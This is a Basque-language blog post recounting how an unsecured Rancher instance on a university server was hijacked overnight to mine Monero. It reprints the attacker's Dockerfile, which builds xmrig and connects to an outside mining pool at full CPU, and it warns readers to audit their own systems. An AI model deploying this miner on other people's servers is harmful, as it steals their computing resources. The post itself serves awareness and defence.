Informatika arloan askotan aipatzen da mantenuak eta segurtasun eguneraketek duten garrantzia. Izan ere, Internet oihan arriskutsu bat dela esaten dugunean ez diogu txantxetan. Berdin du zerbitzaria izan edo norbanakoen ordenagailua izan, zerbitzuren bat Internetera irekita badugu, uneoro dugu eraso saiakeraren bat. Ezin dugu jakin hurrengo erasoa nondik etorriko zaigun. Gertutik jarraitzen ditugu *Wannacry* eta *Petya* bezalako erasoak, baino gaur egun gertatzen diren eraso saiakera gehienak oihartzun txikiko erasoak dira.

Kasu honetan, topatu dugun eraso batez hitz egingo dugu. Zerbitzari isolatu batean Rancher bat instalatu nuen unibertsitateko lan bat egiteko. (Rancherren gure aplikazioak eta web-zerbitzuak era erraz batean instalatu ditzakegu. Hau da, zerbitzuak kudeatzeko tresna bat da.) Arratsaldea zenez ez nion kasu gehiago egin eta hor utzi nuen oraindik erabiltzaile konturik sortu gabe, **irekita**.

> << Bah, bihar goizera arte ze pasako da ba?>>

meeeeeeec Gaizki egina!

Hurrengo goizean zerbitzu ezezagun bat zegoen bertan: “**tempsbro**”

> <<Hara, hau ez dut nik sortu ba...>>

Docker zerbitzua honek kodea docker biltegi ofizialetik lortzen zuen (Google Play edo app store moduko bat). Norbaitek kode hau docker storera igo zuen: https://hub.docker.com/r/tempsbro/tempsbro/~/dockerfile/

Kodea aztertzen hasi orduko konturatuko gara zerbait ez dagoela ongi:

```
FROM ubuntu:16.04
WORKDIR /app
USER root
RUN apt-get update
RUN apt-get install git -y build-essential cmake libuv1-dev libmicrohttpd-dev
libssl-dev
RUN git clone https://github.com/xmrig/xmrig.git
WORKDIR /app/xmrig
WORKDIR /app/xmrig/build
RUN cmake ..
RUN make
CMD ./xmrig -o stratum+tcp://monerohash.com:3333 -u
***kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbM******* -p x --max-cpu-usage=100
```

Aurreko kodea laburtuz, hasteko ubuntu bat instalatzen du, root baimenak hartzen ditu. Eguneratu egiten du eta git errepositorio bat bertan klonatu, build-a egin. Bukatzeko zerbitzu bat martxan jartzen du parametro batzuk pasata.

Baino zein da martxan jarri duen prozesua?

Monero blokeak sortzen dituen zerbitzua da. Beste era batera esanda, Monero kriptotxanpona sortzen (edo minatzen) duen aplikazio bat da. Beraz, zerbitzaria erabiliaz norbait gure kontura pixka bat aberastu zen ordu horietan. Gainera, parametroetan gure zerbitzariko ahalik eta baliabide gehien erabiltzeko esan zion: *`--max-cpu-usage=100`*

Baino zergatik erabili zuen Monero kriptotxanpona eta ez hain ezaguna den Bitcoin-a? Ba besteak beste anonimoa delako eta ezin direlako transakzioak jarraitu beste zenbait kriptomonetetan bezala.

R. Stallmanek duela egun pare bat eman duen elkarrizketa batean Bitcoinaren alternatiba izango den ordainketa sistema ezberdin bat garatzea proposatu du. Bertan pribatutasunaz kezka azaldu du: ez duela pribatutasun perfekturik nahi esan du. Erabateko pribatutasunarekin honelako erasoak eta zenbait delitu ezin direlako ikertu ere egin.

Eta zuk zure ordenagailu eta zerbitzarietako prozesuak aztertu al dituzu? Zerbitzu ezezagunik ba al dago?

Nabarmendutako irudia: Dominik Vanyi-ren argazkia Unsplash-en